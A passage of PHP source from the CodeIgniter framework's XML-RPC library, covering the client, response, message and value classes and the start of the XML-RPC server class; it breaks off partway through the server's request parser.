$parts['host'] = $parts['user'].':'.$parts['pass'].'@'.$parts['host']; } $path = isset($parts['path']) ? $parts['path'] : '/'; if ( ! empty($parts['query'])) { $path .= '?'.$parts['query']; } $this->client = new XML_RPC_Client($path, $parts['host'], $port, $proxy, $proxy_port); } // -------------------------------------------------------------------- /** * Set Timeout * * @param int $seconds * @return void */ public function timeout($seconds = 5) { if ($this->client !== NULL && is_int($seconds)) { $this->client->timeout = $seconds; } } // -------------------------------------------------------------------- /** * Set Methods * * @param string $function Method name * @return void */ public function method($function) { $this->method = $function; } // -------------------------------------------------------------------- /** * Take Array of Data and Create Objects * * @param array $incoming * @return void */ public function request($incoming) { if ( ! is_array($incoming)) { // Send Error return; } $this->data = array(); foreach ($incoming as $key => $value) { $this->data[$key] = $this->values_parsing($value); } } // -------------------------------------------------------------------- /** * Set Debug * * @param bool $flag * @return void */ public function set_debug($flag = TRUE) { $this->debug = ($flag === TRUE); } // -------------------------------------------------------------------- /** * Values Parsing * * @param mixed $value * @return object */ public function values_parsing($value) { if (is_array($value) && array_key_exists(0, $value)) { if ( ! isset($value[1], $this->xmlrpcTypes[$value[1]])) { $temp = new XML_RPC_Values($value[0], (is_array($value[0]) ? 'array' : 'string')); } else { if (is_array($value[0]) && ($value[1] === 'struct' OR $value[1] === 'array')) { while (list($k) = each($value[0])) { $value[0][$k] = $this->values_parsing($value[0][$k]); } } $temp = new XML_RPC_Values($value[0], $value[1]); } } else { $temp = new XML_RPC_Values($value, 'string'); } return $temp; } // -------------------------------------------------------------------- /** * Sends XML-RPC Request * * @return bool */ public function send_request() { $this->message = new XML_RPC_Message($this->method, $this->data); $this->message->debug = $this->debug; if ( ! $this->result = $this->client->send($this->message) OR ! is_object($this->result->val)) { $this->error = $this->result->errstr; return FALSE; } $this->response = $this->result->decode(); return TRUE; } // -------------------------------------------------------------------- /** * Returns Error * * @return string */ public function display_error() { return $this->error; } // -------------------------------------------------------------------- /** * Returns Remote Server Response * * @return string */ public function display_response() { return $this->response; } // -------------------------------------------------------------------- /** * Sends an Error Message for Server Request * * @param int $number * @param string $message * @return object */ public function send_error_message($number, $message) { return new XML_RPC_Response(0, $number, $message); } // -------------------------------------------------------------------- /** * Send Response for Server Request * * @param array $response * @return object */ public function send_response($response) { // $response should be array of values, which will be parsed // based on their data and type into a valid group of XML-RPC values return new XML_RPC_Response($this->values_parsing($response)); } } // END XML_RPC Class /** * XML-RPC Client class * * @category XML-RPC * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html */ class XML_RPC_Client extends CI_Xmlrpc { /** * Path * * @var string */ public $path = ''; /** * Server hostname * * @var string */ public $server = ''; /** * Server port * * @var int */ public $port = 80; /** * * Server username * * @var string */ public $username; /** * Server password * * @var string */ public $password; /** * Proxy hostname * * @var string */ public $proxy = FALSE; /** * Proxy port * * @var int */ public $proxy_port = 8080; /** * Error number * * @var string */ public $errno = ''; /** * Error message * * @var string */ public $errstring = ''; /** * Timeout in seconds * * @var int */ public $timeout = 5; /** * No Multicall flag * * @var bool */ public $no_multicall = FALSE; // -------------------------------------------------------------------- /** * Constructor * * @param string $path * @param object $server * @param int $port * @param string $proxy * @param int $proxy_port * @return void */ public function __construct($path, $server, $port = 80, $proxy = FALSE, $proxy_port = 8080) { parent::__construct(); $url = parse_url('http://'.$server); if (isset($url['user'], $url['pass'])) { $this->username = $url['user']; $this->password = $url['pass']; } $this->port = $port; $this->server = $url['host']; $this->path = $path; $this->proxy = $proxy; $this->proxy_port = $proxy_port; } // -------------------------------------------------------------------- /** * Send message * * @param mixed $msg * @return object */ public function send($msg) { if (is_array($msg)) { // Multi-call disabled return new XML_RPC_Response(0, $this->xmlrpcerr['multicall_recursion'], $this->xmlrpcstr['multicall_recursion']); } return $this->sendPayload($msg); } // -------------------------------------------------------------------- /** * Send payload * * @param object $msg * @return object */ public function sendPayload($msg) { if ($this->proxy === FALSE) { $server = $this->server; $port = $this->port; } else { $server = $this->proxy; $port = $this->proxy_port; } $fp = @fsockopen($server, $port, $this->errno, $this->errstring, $this->timeout); if ( ! is_resource($fp)) { error_log($this->xmlrpcstr['http_error']); return new XML_RPC_Response(0, $this->xmlrpcerr['http_error'], $this->xmlrpcstr['http_error']); } if (empty($msg->payload)) { // $msg = XML_RPC_Messages $msg->createPayload(); } $r = "\r\n"; $op = 'POST '.$this->path.' HTTP/1.0'.$r .'Host: '.$this->server.$r .'Content-Type: text/xml'.$r .(isset($this->username, $this->password) ? 'Authorization: Basic '.base64_encode($this->username.':'.$this->password).$r : '') .'User-Agent: '.$this->xmlrpcName.$r .'Content-Length: '.strlen($msg->payload).$r.$r .$msg->payload; stream_set_timeout($fp, $this->timeout); // set timeout for subsequent operations for ($written = $timestamp = 0, $length = strlen($op); $written < $length; $written += $result) { if (($result = fwrite($fp, substr($op, $written))) === FALSE) { break; } // See https://bugs.php.net/bug.php?id=39598 and http://php.net/manual/en/function.fwrite.php#96951 elseif ($result === 0) { if ($timestamp === 0) { $timestamp = time(); } elseif ($timestamp < (time() - $this->timeout)) { $result = FALSE; break; } } else { $timestamp = 0; } } if ($result === FALSE) { error_log($this->xmlrpcstr['http_error']); return new XML_RPC_Response(0, $this->xmlrpcerr['http_error'], $this->xmlrpcstr['http_error']); } $resp = $msg->parseResponse($fp); fclose($fp); return $resp; } } // END XML_RPC_Client Class /** * XML-RPC Response class * * @category XML-RPC * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html */ class XML_RPC_Response { /** * Value * * @var mixed */ public $val = 0; /** * Error number * * @var int */ public $errno = 0; /** * Error message * * @var string */ public $errstr = ''; /** * Headers list * * @var array */ public $headers = array(); /** * XSS Filter flag * * @var bool */ public $xss_clean = TRUE; // -------------------------------------------------------------------- /** * Constructor * * @param mixed $val * @param int $code * @param string $fstr * @return void */ public function __construct($val, $code = 0, $fstr = '') { if ($code !== 0) { // error $this->errno = $code; $this->errstr = htmlspecialchars($fstr, (is_php('5.4') ? ENT_XML1 | ENT_NOQUOTES : ENT_NOQUOTES), 'UTF-8'); } elseif ( ! is_object($val)) { // programmer error, not an object error_log("Invalid type '".gettype($val)."' (value: ".$val.') passed to XML_RPC_Response. Defaulting to empty value.'); $this->val = new XML_RPC_Values(); } else { $this->val = $val; } } // -------------------------------------------------------------------- /** * Fault code * * @return int */ public function faultCode() { return $this->errno; } // -------------------------------------------------------------------- /** * Fault string * * @return string */ public function faultString() { return $this->errstr; } // -------------------------------------------------------------------- /** * Value * * @return mixed */ public function value() { return $this->val; } // -------------------------------------------------------------------- /** * Prepare response * * @return string xml */ public function prepare_response() { return "<methodResponse>\n" .($this->errno ? '<fault> <value> <struct> <member> <name>faultCode</name> <value><int>'.$this->errno.'</int></value> </member> <member> <name>faultString</name> <value><string>'.$this->errstr.'</string></value> </member> </struct> </value> </fault>' : "<params>\n<param>\n".$this->val->serialize_class()."</param>\n</params>") ."\n</methodResponse>"; } // -------------------------------------------------------------------- /** * Decode * * @param mixed $array * @return array */ public function decode($array = NULL) { $CI =& get_instance(); if (is_array($array)) { while (list($key) = each($array)) { if (is_array($array[$key])) { $array[$key] = $this->decode($array[$key]); } elseif ($this->xss_clean) { $array[$key] = $CI->security->xss_clean($array[$key]); } } return $array; } $result = $this->xmlrpc_decoder($this->val); if (is_array($result)) { $result = $this->decode($result); } elseif ($this->xss_clean) { $result = $CI->security->xss_clean($result); } return $result; } // -------------------------------------------------------------------- /** * XML-RPC Object to PHP Types * * @param object * @return array */ public function xmlrpc_decoder($xmlrpc_val) { $kind = $xmlrpc_val->kindOf(); if ($kind === 'scalar') { return $xmlrpc_val->scalarval(); } elseif ($kind === 'array') { reset($xmlrpc_val->me); $b = current($xmlrpc_val->me); $arr = array(); for ($i = 0, $size = count($b); $i < $size; $i++) { $arr[] = $this->xmlrpc_decoder($xmlrpc_val->me['array'][$i]); } return $arr; } elseif ($kind === 'struct') { reset($xmlrpc_val->me['struct']); $arr = array(); while (list($key,$value) = each($xmlrpc_val->me['struct'])) { $arr[$key] = $this->xmlrpc_decoder($value); } return $arr; } } // -------------------------------------------------------------------- /** * ISO-8601 time to server or UTC time * * @param string * @param bool * @return int unix timestamp */ public function iso8601_decode($time, $utc = FALSE) { // Return a time in the localtime, or UTC $t = 0; if (preg_match('/([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})/', $time, $regs)) { $fnc = ($utc === TRUE) ? 'gmmktime' : 'mktime'; $t = $fnc($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]); } return $t; } } // END XML_RPC_Response Class /** * XML-RPC Message class * * @category XML-RPC * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html */ class XML_RPC_Message extends CI_Xmlrpc { /** * Payload * * @var string */ public $payload; /** * Method name * * @var string */ public $method_name; /** * Parameter list * * @var array */ public $params = array(); /** * XH? * * @var array */ public $xh = array(); // -------------------------------------------------------------------- /** * Constructor * * @param string $method * @param array $pars * @return void */ public function __construct($method, $pars = FALSE) { parent::__construct(); $this->method_name = $method; if (is_array($pars) && count($pars) > 0) { for ($i = 0, $c = count($pars); $i < $c; $i++) { // $pars[$i] = XML_RPC_Values $this->params[] = $pars[$i]; } } } // -------------------------------------------------------------------- /** * Create Payload to Send * * @return void */ public function createPayload() { $this->payload = '<?xml version="1.0"?'.">\r\n<methodCall>\r\n" .'<methodName>'.$this->method_name."</methodName>\r\n" ."<params>\r\n"; for ($i = 0, $c = count($this->params); $i < $c; $i++) { // $p = XML_RPC_Values $p = $this->params[$i]; $this->payload .= "<param>\r\n".$p->serialize_class()."</param>\r\n"; } $this->payload .= "</params>\r\n</methodCall>\r\n"; } // -------------------------------------------------------------------- /** * Parse External XML-RPC Server's Response * * @param resource * @return object */ public function parseResponse($fp) { $data = ''; while ($datum = fread($fp, 4096)) { $data .= $datum; } // Display HTTP content for debugging if ($this->debug === TRUE) { echo "<pre>---DATA---\n".htmlspecialchars($data)."\n---END DATA---\n\n</pre>"; } // Check for data if ($data === '') { error_log($this->xmlrpcstr['no_data']); return new XML_RPC_Response(0, $this->xmlrpcerr['no_data'], $this->xmlrpcstr['no_data']); } // Check for HTTP 200 Response if (strpos($data, 'HTTP') === 0 && ! preg_match('/^HTTP\/[0-9\.]+ 200 /', $data)) { $errstr = substr($data, 0, strpos($data, "\n")-1); return new XML_RPC_Response(0, $this->xmlrpcerr['http_error'], $this->xmlrpcstr['http_error'].' ('.$errstr.')'); } //------------------------------------- // Create and Set Up XML Parser //------------------------------------- $parser = xml_parser_create($this->xmlrpc_defencoding); $pname = (string) $parser; $this->xh[$pname] = array( 'isf' => 0, 'ac' => '', 'headers' => array(), 'stack' => array(), 'valuestack' => array(), 'isf_reason' => 0 ); xml_set_object($parser, $this); xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, TRUE); xml_set_element_handler($parser, 'open_tag', 'closing_tag'); xml_set_character_data_handler($parser, 'character_data'); //xml_set_default_handler($parser, 'default_handler'); // Get headers $lines = explode("\r\n", $data); while (($line = array_shift($lines))) { if (strlen($line) < 1) { break; } $this->xh[$pname]['headers'][] = $line; } $data = implode("\r\n", $lines); // Parse XML data if ( ! xml_parse($parser, $data, count($data))) { $errstr = sprintf('XML error: %s at line %d', xml_error_string(xml_get_error_code($parser)), xml_get_current_line_number($parser)); $r = new XML_RPC_Response(0, $this->xmlrpcerr['invalid_return'], $this->xmlrpcstr['invalid_return']); xml_parser_free($parser); return $r; } xml_parser_free($parser); // Got ourselves some badness, it seems if ($this->xh[$pname]['isf'] > 1) { if ($this->debug === TRUE) { echo "---Invalid Return---\n".$this->xh[$pname]['isf_reason']."---Invalid Return---\n\n"; } return new XML_RPC_Response(0, $this->xmlrpcerr['invalid_return'], $this->xmlrpcstr['invalid_return'].' '.$this->xh[$pname]['isf_reason']); } elseif ( ! is_object($this->xh[$pname]['value'])) { return new XML_RPC_Response(0, $this->xmlrpcerr['invalid_return'], $this->xmlrpcstr['invalid_return'].' '.$this->xh[$pname]['isf_reason']); } // Display XML content for debugging if ($this->debug === TRUE) { echo '<pre>'; if (count($this->xh[$pname]['headers'] > 0)) { echo "---HEADERS---\n"; foreach ($this->xh[$pname]['headers'] as $header) { echo $header."\n"; } echo "---END HEADERS---\n\n"; } echo "---DATA---\n".htmlspecialchars($data)."\n---END DATA---\n\n---PARSED---\n"; var_dump($this->xh[$pname]['value']); echo "\n---END PARSED---</pre>"; } // Send response $v = $this->xh[$pname]['value']; if ($this->xh[$pname]['isf']) { $errno_v = $v->me['struct']['faultCode']; $errstr_v = $v->me['struct']['faultString']; $errno = $errno_v->scalarval(); if ($errno === 0) { // FAULT returned, errno needs to reflect that $errno = -1; } $r = new XML_RPC_Response($v, $errno, $errstr_v->scalarval()); } else { $r = new XML_RPC_Response($v); } $r->headers = $this->xh[$pname]['headers']; return $r; } // -------------------------------------------------------------------- // ------------------------------------ // Begin Return Message Parsing section // ------------------------------------ // quick explanation of components: // ac - used to accumulate values // isf - used to indicate a fault // lv - used to indicate "looking for a value": implements // the logic to allow values with no types to be strings // params - used to store parameters in method calls // method - used to store method name // stack - array with parent tree of the xml element, // used to validate the nesting of elements // -------------------------------------------------------------------- /** * Start Element Handler * * @param string * @param string * @return void */ public function open_tag($the_parser, $name) { $the_parser = (string) $the_parser; // If invalid nesting, then return if ($this->xh[$the_parser]['isf'] > 1) return; // Evaluate and check for correct nesting of XML elements if (count($this->xh[$the_parser]['stack']) === 0) { if ($name !== 'METHODRESPONSE' && $name !== 'METHODCALL') { $this->xh[$the_parser]['isf'] = 2; $this->xh[$the_parser]['isf_reason'] = 'Top level XML-RPC element is missing'; return; } } // not top level element: see if parent is OK elseif ( ! in_array($this->xh[$the_parser]['stack'][0], $this->valid_parents[$name], TRUE)) { $this->xh[$the_parser]['isf'] = 2; $this->xh[$the_parser]['isf_reason'] = 'XML-RPC element '.$name.' cannot be child of '.$this->xh[$the_parser]['stack'][0]; return; } switch ($name) { case 'STRUCT': case 'ARRAY': // Creates array for child elements $cur_val = array('value' => array(), 'type' => $name); array_unshift($this->xh[$the_parser]['valuestack'], $cur_val); break; case 'METHODNAME': case 'NAME': $this->xh[$the_parser]['ac'] = ''; break; case 'FAULT': $this->xh[$the_parser]['isf'] = 1; break; case 'PARAM': $this->xh[$the_parser]['value'] = NULL; break; case 'VALUE': $this->xh[$the_parser]['vt'] = 'value'; $this->xh[$the_parser]['ac'] = ''; $this->xh[$the_parser]['lv'] = 1; break; case 'I4': case 'INT': case 'STRING': case 'BOOLEAN': case 'DOUBLE': case 'DATETIME.ISO8601': case 'BASE64': if ($this->xh[$the_parser]['vt'] !== 'value') { //two data elements inside a value: an error occurred! $this->xh[$the_parser]['isf'] = 2; $this->xh[$the_parser]['isf_reason'] = 'There is a '.$name.' element following a ' .$this->xh[$the_parser]['vt'].' element inside a single value'; return; } $this->xh[$the_parser]['ac'] = ''; break; case 'MEMBER': // Set name of <member> to nothing to prevent errors later if no <name> is found $this->xh[$the_parser]['valuestack'][0]['name'] = ''; // Set NULL value to check to see if value passed for this param/member $this->xh[$the_parser]['value'] = NULL; break; case 'DATA': case 'METHODCALL': case 'METHODRESPONSE': case 'PARAMS': // valid elements that add little to processing break; default: /// An Invalid Element is Found, so we have trouble $this->xh[$the_parser]['isf'] = 2; $this->xh[$the_parser]['isf_reason'] = 'Invalid XML-RPC element found: '.$name; break; } // Add current element name to stack, to allow validation of nesting array_unshift($this->xh[$the_parser]['stack'], $name); $name === 'VALUE' OR $this->xh[$the_parser]['lv'] = 0; } // -------------------------------------------------------------------- /** * End Element Handler * * @param string * @param string * @return void */ public function closing_tag($the_parser, $name) { $the_parser = (string) $the_parser; if ($this->xh[$the_parser]['isf'] > 1) return; // Remove current element from stack and set variable // NOTE: If the XML validates, then we do not have to worry about // the opening and closing of elements. Nesting is checked on the opening // tag so we be safe there as well. $curr_elem = array_shift($this->xh[$the_parser]['stack']); switch ($name) { case 'STRUCT': case 'ARRAY': $cur_val = array_shift($this->xh[$the_parser]['valuestack']); $this->xh[$the_parser]['value'] = isset($cur_val['values']) ? $cur_val['values'] : array(); $this->xh[$the_parser]['vt'] = strtolower($name); break; case 'NAME': $this->xh[$the_parser]['valuestack'][0]['name'] = $this->xh[$the_parser]['ac']; break; case 'BOOLEAN': case 'I4': case 'INT': case 'STRING': case 'DOUBLE': case 'DATETIME.ISO8601': case 'BASE64': $this->xh[$the_parser]['vt'] = strtolower($name); if ($name === 'STRING') { $this->xh[$the_parser]['value'] = $this->xh[$the_parser]['ac']; } elseif ($name === 'DATETIME.ISO8601') { $this->xh[$the_parser]['vt'] = $this->xmlrpcDateTime; $this->xh[$the_parser]['value'] = $this->xh[$the_parser]['ac']; } elseif ($name === 'BASE64') { $this->xh[$the_parser]['value'] = base64_decode($this->xh[$the_parser]['ac']); } elseif ($name === 'BOOLEAN') { // Translated BOOLEAN values to TRUE AND FALSE $this->xh[$the_parser]['value'] = (bool) $this->xh[$the_parser]['ac']; } elseif ($name=='DOUBLE') { // we have a DOUBLE // we must check that only 0123456789-.<space> are characters here $this->xh[$the_parser]['value'] = preg_match('/^[+-]?[eE0-9\t \.]+$/', $this->xh[$the_parser]['ac']) ? (float) $this->xh[$the_parser]['ac'] : 'ERROR_NON_NUMERIC_FOUND'; } else { // we have an I4/INT // we must check that only 0123456789-<space> are characters here $this->xh[$the_parser]['value'] = preg_match('/^[+-]?[0-9\t ]+$/', $this->xh[$the_parser]['ac']) ? (int) $this->xh[$the_parser]['ac'] : 'ERROR_NON_NUMERIC_FOUND'; } $this->xh[$the_parser]['ac'] = ''; $this->xh[$the_parser]['lv'] = 3; // indicate we've found a value break; case 'VALUE': // This if() detects if no scalar was inside <VALUE></VALUE> if ($this->xh[$the_parser]['vt'] == 'value') { $this->xh[$the_parser]['value'] = $this->xh[$the_parser]['ac']; $this->xh[$the_parser]['vt'] = $this->xmlrpcString; } // build the XML-RPC value out of the data received, and substitute it $temp = new XML_RPC_Values($this->xh[$the_parser]['value'], $this->xh[$the_parser]['vt']); if (count($this->xh[$the_parser]['valuestack']) && $this->xh[$the_parser]['valuestack'][0]['type'] === 'ARRAY') { // Array $this->xh[$the_parser]['valuestack'][0]['values'][] = $temp; } else { // Struct $this->xh[$the_parser]['value'] = $temp; } break; case 'MEMBER': $this->xh[$the_parser]['ac'] = ''; // If value add to array in the stack for the last element built if ($this->xh[$the_parser]['value']) { $this->xh[$the_parser]['valuestack'][0]['values'][$this->xh[$the_parser]['valuestack'][0]['name']] = $this->xh[$the_parser]['value']; } break; case 'DATA': $this->xh[$the_parser]['ac'] = ''; break; case 'PARAM': if ($this->xh[$the_parser]['value']) { $this->xh[$the_parser]['params'][] = $this->xh[$the_parser]['value']; } break; case 'METHODNAME': $this->xh[$the_parser]['method'] = ltrim($this->xh[$the_parser]['ac']); break; case 'PARAMS': case 'FAULT': case 'METHODCALL': case 'METHORESPONSE': // We're all good kids with nuthin' to do break; default: // End of an Invalid Element. Taken care of during the opening tag though break; } } // -------------------------------------------------------------------- /** * Parse character data * * @param string * @param string * @return void */ public function character_data($the_parser, $data) { $the_parser = (string) $the_parser; if ($this->xh[$the_parser]['isf'] > 1) return; // XML Fault found already // If a value has not been found if ($this->xh[$the_parser]['lv'] !== 3) { if ($this->xh[$the_parser]['lv'] === 1) { $this->xh[$the_parser]['lv'] = 2; // Found a value } if ( ! isset($this->xh[$the_parser]['ac'])) { $this->xh[$the_parser]['ac'] = ''; } $this->xh[$the_parser]['ac'] .= $data; } } // -------------------------------------------------------------------- /** * Add parameter * * @param mixed * @return void */ public function addParam($par) { $this->params[] = $par; } // -------------------------------------------------------------------- /** * Output parameters * * @param array $array * @return array */ public function output_parameters(array $array = array()) { $CI =& get_instance(); if ( ! empty($array)) { while (list($key) = each($array)) { if (is_array($array[$key])) { $array[$key] = $this->output_parameters($array[$key]); } elseif ($key !== 'bits' && $this->xss_clean) { // 'bits' is for the MetaWeblog API image bits // @todo - this needs to be made more general purpose $array[$key] = $CI->security->xss_clean($array[$key]); } } return $array; } $parameters = array(); for ($i = 0, $c = count($this->params); $i < $c; $i++) { $a_param = $this->decode_message($this->params[$i]); if (is_array($a_param)) { $parameters[] = $this->output_parameters($a_param); } else { $parameters[] = ($this->xss_clean) ? $CI->security->xss_clean($a_param) : $a_param; } } return $parameters; } // -------------------------------------------------------------------- /** * Decode message * * @param object * @return mixed */ public function decode_message($param) { $kind = $param->kindOf(); if ($kind === 'scalar') { return $param->scalarval(); } elseif ($kind === 'array') { reset($param->me); $b = current($param->me); $arr = array(); for ($i = 0, $c = count($b); $i < $c; $i++) { $arr[] = $this->decode_message($param->me['array'][$i]); } return $arr; } elseif ($kind === 'struct') { reset($param->me['struct']); $arr = array(); while (list($key,$value) = each($param->me['struct'])) { $arr[$key] = $this->decode_message($value); } return $arr; } } } // END XML_RPC_Message Class /** * XML-RPC Values class * * @category XML-RPC * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html */ class XML_RPC_Values extends CI_Xmlrpc { /** * Value data * * @var array */ public $me = array(); /** * Value type * * @var int */ public $mytype = 0; // -------------------------------------------------------------------- /** * Constructor * * @param mixed $val * @param string $type * @return void */ public function __construct($val = -1, $type = '') { parent::__construct(); if ($val !== -1 OR $type !== '') { $type = $type === '' ? 'string' : $type; if ($this->xmlrpcTypes[$type] == 1) { $this->addScalar($val, $type); } elseif ($this->xmlrpcTypes[$type] == 2) { $this->addArray($val); } elseif ($this->xmlrpcTypes[$type] == 3) { $this->addStruct($val); } } } // -------------------------------------------------------------------- /** * Add scalar value * * @param scalar * @param string * @return int */ public function addScalar($val, $type = 'string') { $typeof = $this->xmlrpcTypes[$type]; if ($this->mytype === 1) { echo '<strong>XML_RPC_Values</strong>: scalar can have only one value<br />'; return 0; } if ($typeof != 1) { echo '<strong>XML_RPC_Values</strong>: not a scalar type (${typeof})<br />'; return 0; } if ($type === $this->xmlrpcBoolean) { $val = (int) (strcasecmp($val, 'true') === 0 OR $val === 1 OR ($val === TRUE && strcasecmp($val, 'false'))); } if ($this->mytype === 2) { // adding to an array here $ar = $this->me['array']; $ar[] = new XML_RPC_Values($val, $type); $this->me['array'] = $ar; } else { // a scalar, so set the value and remember we're scalar $this->me[$type] = $val; $this->mytype = $typeof; } return 1; } // -------------------------------------------------------------------- /** * Add array value * * @param array * @return int */ public function addArray($vals) { if ($this->mytype !== 0) { echo '<strong>XML_RPC_Values</strong>: already initialized as a ['.$this->kindOf().']<br />'; return 0; } $this->mytype = $this->xmlrpcTypes['array']; $this->me['array'] = $vals; return 1; } // -------------------------------------------------------------------- /** * Add struct value * * @param object * @return int */ public function addStruct($vals) { if ($this->mytype !== 0) { echo '<strong>XML_RPC_Values</strong>: already initialized as a ['.$this->kindOf().']<br />'; return 0; } $this->mytype = $this->xmlrpcTypes['struct']; $this->me['struct'] = $vals; return 1; } // -------------------------------------------------------------------- /** * Get value type * * @return string */ public function kindOf() { switch ($this->mytype) { case 3: return 'struct'; case 2: return 'array'; case 1: return 'scalar'; default: return 'undef'; } } // -------------------------------------------------------------------- /** * Serialize data * * @param string * @param mixed * @return string */ public function serializedata($typ, $val) { $rs = ''; switch ($this->xmlrpcTypes[$typ]) { case 3: // struct $rs .= "<struct>\n"; reset($val); while (list($key2, $val2) = each($val)) { $rs .= "<member>\n<name>{$key2}</name>\n".$this->serializeval($val2)."</member>\n"; } $rs .= '</struct>'; break; case 2: // array $rs .= "<array>\n<data>\n"; for ($i = 0, $c = count($val); $i < $c; $i++) { $rs .= $this->serializeval($val[$i]); } $rs .= "</data>\n</array>\n"; break; case 1: // others switch ($typ) { case $this->xmlrpcBase64: $rs .= '<'.$typ.'>'.base64_encode( (string) $val).'</'.$typ.">\n"; break; case $this->xmlrpcBoolean: $rs .= '<'.$typ.'>'.( (bool) $val ? '1' : '0').'</'.$typ.">\n"; break; case $this->xmlrpcString: $rs .= '<'.$typ.'>'.htmlspecialchars( (string) $val).'</'.$typ.">\n"; break; default: $rs .= '<'.$typ.'>'.$val.'</'.$typ.">\n"; break; } default: break; } return $rs; } // -------------------------------------------------------------------- /** * Serialize class * * @return string */ public function serialize_class() { return $this->serializeval($this); } // -------------------------------------------------------------------- /** * Serialize value * * @param object * @return string */ public function serializeval($o) { $ar = $o->me; reset($ar); list($typ, $val) = each($ar); return "<value>\n".$this->serializedata($typ, $val)."</value>\n"; } // -------------------------------------------------------------------- /** * Scalar value * * @return mixed */ public function scalarval() { reset($this->me); return current($this->me); } // -------------------------------------------------------------------- /** * Encode time in ISO-8601 form. * Useful for sending time in XML-RPC * * @param int unix timestamp * @param bool * @return string */ public function iso8601_encode($time, $utc = FALSE) { return ($utc) ? strftime('%Y%m%dT%H:%i:%s', $time) : gmstrftime('%Y%m%dT%H:%i:%s', $time); } } // END XML_RPC_Values Class Xmlrpcs.php 0000775 00000037635 15060054572 0006734 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); if ( ! function_exists('xml_parser_create')) { show_error('Your PHP installation does not support XML'); } if ( ! class_exists('CI_Xmlrpc', FALSE)) { show_error('You must load the Xmlrpc class before loading the Xmlrpcs class in order to create a server.'); } // ------------------------------------------------------------------------ /** * XML-RPC server class * * @package CodeIgniter * @subpackage Libraries * @category XML-RPC * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html */ class CI_Xmlrpcs extends CI_Xmlrpc { /** * Array of methods mapped to function names and signatures * * @var array */ public $methods = array(); /** * Debug Message * * @var string */ public $debug_msg = ''; /** * XML RPC Server methods * * @var array */ public $system_methods = array(); /** * Configuration object * * @var object */ public $object = FALSE; /** * Initialize XMLRPC class * * @param array $config * @return void */ public function __construct($config = array()) { parent::__construct(); $this->set_system_methods(); if (isset($config['functions']) && is_array($config['functions'])) { $this->methods = array_merge($this->methods, $config['functions']); } log_message('info', 'XML-RPC Server Class Initialized'); } // -------------------------------------------------------------------- /** * Initialize Prefs and Serve * * @param mixed * @return void */ public function initialize($config = array()) { if (isset($config['functions']) && is_array($config['functions'])) { $this->methods = array_merge($this->methods, $config['functions']); } if (isset($config['debug'])) { $this->debug = $config['debug']; } if (isset($config['object']) && is_object($config['object'])) { $this->object = $config['object']; } if (isset($config['xss_clean'])) { $this->xss_clean = $config['xss_clean']; } } // -------------------------------------------------------------------- /** * Setting of System Methods * * @return void */ public function set_system_methods() { $this->methods = array( 'system.listMethods' => array( 'function' => 'this.listMethods', 'signature' => array(array($this->xmlrpcArray, $this->xmlrpcString), array($this->xmlrpcArray)), 'docstring' => 'Returns an array of available methods on this server'), 'system.methodHelp' => array( 'function' => 'this.methodHelp', 'signature' => array(array($this->xmlrpcString, $this->xmlrpcString)), 'docstring' => 'Returns a documentation string for the specified method'), 'system.methodSignature' => array( 'function' => 'this.methodSignature', 'signature' => array(array($this->xmlrpcArray, $this->xmlrpcString)), 'docstring' => 'Returns an array describing the return type and required parameters of a method'), 'system.multicall' => array( 'function' => 'this.multicall', 'signature' => array(array($this->xmlrpcArray, $this->xmlrpcArray)), 'docstring' => 'Combine multiple RPC calls in one request. See http://www.xmlrpc.com/discuss/msgReader$1208 for details') ); } // -------------------------------------------------------------------- /** * Main Server Function * * @return void */ public function serve() { $r = $this->parseRequest(); $payload = '<?xml version="1.0" encoding="'.$this->xmlrpc_defencoding.'"?'.'>'."\n".$this->debug_msg.$r->prepare_response(); header('Content-Type: text/xml'); header('Content-Length: '.strlen($payload)); exit($payload); } // -------------------------------------------------------------------- /** * Add Method to Class * * @param string method name * @param string function * @param string signature * @param string docstring * @return void */ public function add_to_map($methodname, $function, $sig, $doc) { $this->methods[$methodname] = array( 'function' => $function, 'signature' => $sig, 'docstring' => $doc ); } // -------------------------------------------------------------------- /** * Parse Server Request * * @param string data * @return object xmlrpc response */ public function parseRequest($data = '') { //------------------------------------- // Get Data //------------------------------------- if ($data === '') { $CI =& get_instance(); if ($CI->input->method() === 'post') { $data = $CI->input->raw_input_stream; } } //------------------------------------- // Set up XML Parser //------------------------------------- $parser = xml_parser_create($this->xmlrpc_defencoding); $parser_object = new XML_RPC_Message('filler'); $pname = (string) $parser; $parser_object->xh[$pname] = array( 'isf' => 0, 'isf_reason' => '', 'params' => array(), 'stack' => array(), 'valuestack' => array(), 